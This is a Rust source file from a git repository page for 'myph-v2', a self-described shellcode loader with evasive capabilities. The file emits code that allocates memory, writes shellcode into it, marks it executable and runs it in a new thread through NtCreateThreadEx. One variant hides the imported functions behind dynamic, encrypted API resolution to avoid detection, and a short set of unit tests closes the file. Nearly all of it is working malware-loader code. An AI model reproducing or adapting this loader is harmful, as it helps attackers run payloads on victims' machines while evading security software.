myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

nt_create_thread_ex.rs (9135B)

      1 pub fn nt_create_thread_ex_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn nt_create_thread_ex_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 const INFINITE: u32 = 0xFFFFFFFF;
     14 const CURRENT_PROCESS_HANDLE: usize = 0xffffffffffffffff;
     15 const THREAD_ALL_ACCESS: u32 = 0x1FFFFF;
     16 
     17 {}
     18 
     19 #[link(name = "ntdll")]
     20 extern "system" {{
     21 {}
     22 }}
     23 
     24 #[link(name = "kernel32")]
     25 extern "system" {{
     26 {}
     27 }}
     28 "#,
     29         super::common::COMMON_MEMORY_CONSTANTS,
     30         super::common::process_basic_information_struct(),
     31         super::common::common_ntdll_externs(),
     32         super::common::common_thread_management_externs(),
     33     )
     34 }
     35 
     36 pub fn nt_create_thread_ex_init() -> String {
     37     String::new()
     38 }
     39 
     40 pub fn nt_create_thread_ex_process() -> String {
     41     r#"
     42     unsafe {
     43         let mut addr: usize = 0;
     44         let mut region_size: usize = shellcode.len();
     45 
     46         let rvalue = NtAllocateVirtualMemory(
     47             CURRENT_PROCESS_HANDLE,
     48             &mut addr,
     49             0,
     50             &mut region_size,
     51             MEM_COMMIT | MEM_RESERVE,
     52             PAGE_READWRITE,
     53         );
     54 
     55         if rvalue != 0 {
     56             panic!("failed");
     57         }
     58 
     59         let rvalue = NtWriteVirtualMemory(
     60             CURRENT_PROCESS_HANDLE,
     61             addr,
     62             shellcode.as_ptr() as *const std::ffi::c_void,
     63             shellcode.len(),
     64             0,
     65         );
     66 
     67         if rvalue != 0 {
     68             panic!("failed");
     69         }
     70 
     71         let mut old_protect: u32 = PAGE_READWRITE;
     72         let rvalue = NtProtectVirtualMemory(
     73             CURRENT_PROCESS_HANDLE,
     74             &mut addr,
     75             &mut region_size,
     76             PAGE_EXECUTE_READ,
     77             &mut old_protect,
     78         );
     79 
     80         if rvalue != 0 {
     81             panic!("failed");
     82         }
     83 
     84         let mut thread_handle: usize = 0;
     85         let rvalue = NtCreateThreadEx(
     86             &mut thread_handle,
     87             THREAD_ALL_ACCESS,
     88             0,
     89             CURRENT_PROCESS_HANDLE,
     90             addr,
     91             0,
     92             0,
     93             0,
     94             0,
     95             0,
     96             0,
     97         );
     98 
     99         if rvalue != 0 {
    100             panic!("failed");
    101         }
    102 
    103         WaitForSingleObject(thread_handle, INFINITE);
    104     }
    105 "#
    106     .to_string()
    107 }
    108 
    109 fn generate_nt_create_thread_ex_template(function_name: &str) -> String {
    110     super::common::TechniqueTemplateBuilder::new()
    111         .with_import(nt_create_thread_ex_import())
    112         .with_const(nt_create_thread_ex_const())
    113         .with_init(nt_create_thread_ex_init())
    114         .with_process(nt_create_thread_ex_process())
    115         .build(function_name)
    116 }
    117 
    118 pub fn generate_nt_create_thread_ex_code(function_name: &str) -> String {
    119     generate_nt_create_thread_ex_template(function_name)
    120 }
    121 
    122 fn nt_create_thread_ex_process_with_dynamic_resolver(
    123     encryptor: &dyn crate::encryption::Encryptor,
    124 ) -> Result<String, String> {
    125     use super::dynamic_common::*;
    126 
    127     let nt_allocate = nt_allocate_virtual_memory_resolver(encryptor)?;
    128     let nt_write = nt_write_virtual_memory_resolver(encryptor)?;
    129     let nt_protect = nt_protect_virtual_memory_resolver(encryptor)?;
    130     let nt_create_thread = nt_create_thread_ex_resolver(encryptor)?;
    131     let wait_for_single = wait_for_single_object_resolver(encryptor)?;
    132 
    133     Ok(format!(
    134         r#"
    135     unsafe {{
    136         let process_handle = 0xFFFFFFFFFFFFFFFFu64 as *mut std::ffi::c_void;
    137         let mut base_address: *mut std::ffi::c_void = ptr::null_mut();
    138         let mut region_size: usize = shellcode.len();
    139 
    140         {nt_allocate_resolver}
    141         {nt_allocate_cast}
    142 
    143         let rvalue = nt_allocate_virtual_memory(
    144             process_handle,
    145             &mut base_address,
    146             0,
    147             &mut region_size,
    148             MEM_COMMIT | MEM_RESERVE,
    149             PAGE_READWRITE,
    150         );
    151 
    152         if rvalue != 0 {{
    153             panic!("failed");
    154         }}
    155 
    156         {nt_write_resolver}
    157         {nt_write_cast}
    158 
    159         let mut bytes_written: usize = 0;
    160         let rvalue = nt_write_virtual_memory(
    161             process_handle,
    162             base_address,
    163             shellcode.as_ptr() as *const std::ffi::c_void,
    164             shellcode.len(),
    165             &mut bytes_written,
    166         );
    167 
    168         if rvalue != 0 {{
    169             panic!("failed");
    170         }}
    171 
    172         {nt_protect_resolver}
    173         {nt_protect_cast}
    174 
    175         let mut old_protect: u32 = PAGE_READWRITE;
    176         let rvalue = nt_protect_virtual_memory(
    177             process_handle,
    178             &mut base_address,
    179             &mut region_size,
    180             PAGE_EXECUTE_READ,
    181             &mut old_protect,
    182         );
    183 
    184         if rvalue != 0 {{
    185             panic!("failed");
    186         }}
    187 
    188         {nt_create_thread_resolver}
    189         {nt_create_thread_cast}
    190 
    191         let mut thread_handle: *mut std::ffi::c_void = ptr::null_mut();
    192         let rvalue = nt_create_thread_ex(
    193             &mut thread_handle,
    194             0x1FFFFF,
    195             ptr::null(),
    196             process_handle,
    197             base_address,
    198             ptr::null(),
    199             0,
    200             0,
    201             0,
    202             0,
    203             ptr::null(),
    204         );
    205 
    206         if rvalue != 0 {{
    207             panic!("failed");
    208         }}
    209 
    210         {wait_for_single_resolver}
    211         {wait_for_single_cast}
    212 
    213         wait_for_single_object(thread_handle, INFINITE);
    214     }}
    215 "#,
    216         nt_allocate_resolver = nt_allocate.resolver_code,
    217         nt_allocate_cast = nt_allocate.cast_code,
    218         nt_write_resolver = nt_write.resolver_code,
    219         nt_write_cast = nt_write.cast_code,
    220         nt_protect_resolver = nt_protect.resolver_code,
    221         nt_protect_cast = nt_protect.cast_code,
    222         nt_create_thread_resolver = nt_create_thread.resolver_code,
    223         nt_create_thread_cast = nt_create_thread.cast_code,
    224         wait_for_single_resolver = wait_for_single.resolver_code,
    225         wait_for_single_cast = wait_for_single.cast_code,
    226     ))
    227 }
    228 
    229 fn generate_nt_create_thread_ex_template_with_dynamic_resolver(
    230     function_name: &str,
    231     _encryption_type: &str,
    232     encryptor: &dyn crate::encryption::Encryptor,
    233 ) -> Result<String, String> {
    234     let process_code = nt_create_thread_ex_process_with_dynamic_resolver(encryptor)?;
    235 
    236     Ok(super::common::TechniqueTemplateBuilder::new()
    237         .with_import(nt_create_thread_ex_import())
    238         .with_const(nt_create_thread_ex_const())
    239         .with_init(nt_create_thread_ex_init())
    240         .with_process(process_code)
    241         .build(function_name))
    242 }
    243 
    244 pub fn generate_nt_create_thread_ex_code_with_dynamic_resolver(
    245     function_name: &str,
    246     encryption_type: &str,
    247     encryptor: &dyn crate::encryption::Encryptor,
    248 ) -> String {
    249     generate_nt_create_thread_ex_template_with_dynamic_resolver(
    250         function_name,
    251         encryption_type,
    252         encryptor,
    253     )
    254     .unwrap_or_else(|err| {
    255         panic!(
    256             "Failed to generate NtCreateThreadEx code with dynamic resolver (encryption: {}): {}",
    257             encryption_type, err
    258         )
    259     })
    260 }
    261 
    262 pub struct NtCreateThreadExGenerator;
    263 
    264 impl super::trait_generator::TechniqueGenerator for NtCreateThreadExGenerator {
    265     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    266         generate_nt_create_thread_ex_code(function_name)
    267     }
    268 
    269     fn generate_code_with_dynamic_resolver(
    270         &self,
    271         _process: &str,
    272         function_name: &str,
    273         encryption_type: &str,
    274         encryptor: &dyn crate::encryption::Encryptor,
    275     ) -> String {
    276         generate_nt_create_thread_ex_code_with_dynamic_resolver(
    277             function_name,
    278             encryption_type,
    279             encryptor,
    280         )
    281     }
    282 
    283     fn requires_process(&self) -> bool {
    284         false
    285     }
    286 
    287     fn name(&self) -> &'static str {
    288         "NtCreateThreadEx"
    289     }
    290 }
    291 
    292 #[cfg(test)]
    293 mod tests {
    294     use super::*;
    295 
    296     #[test]
    297     fn test_generate_nt_create_thread_ex_template_contains_all_parts() {
    298         let template = generate_nt_create_thread_ex_template("MyFunction");
    299         assert!(template.contains("use std::ptr"));
    300         assert!(template.contains("MEM_COMMIT"));
    301         assert!(template.contains("NtCreateThreadEx"));
    302         assert!(template.contains("fn MyFunction"));
    303         assert!(template.contains("NtAllocateVirtualMemory"));
    304     }
    305 
    306     #[test]
    307     fn test_generate_nt_create_thread_ex_code() {
    308         let code = generate_nt_create_thread_ex_code("MyRandomFunc");
    309         assert!(code.contains("fn MyRandomFunc"));
    310         assert!(code.contains("NtCreateThreadEx"));
    311         assert!(code.contains("WaitForSingleObject"));
    312     }
    313 
    314     #[test]
    315     fn test_nt_create_thread_ex_includes_process_basic_information() {
    316         let const_code = nt_create_thread_ex_const();
    317         // Verify ProcessBasicInformation struct is included (needed by ZwQueryInformationProcess)
    318         assert!(
    319             const_code.contains("struct ProcessBasicInformation"),
    320             "ProcessBasicInformation struct should be included for ZwQueryInformationProcess"
    321         );
    322         // Verify ZwQueryInformationProcess is included from common_ntdll_externs
    323         assert!(
    324             const_code.contains("ZwQueryInformationProcess"),
    325             "ZwQueryInformationProcess should be included from common_ntdll_externs"
    326         );
    327     }
    328 }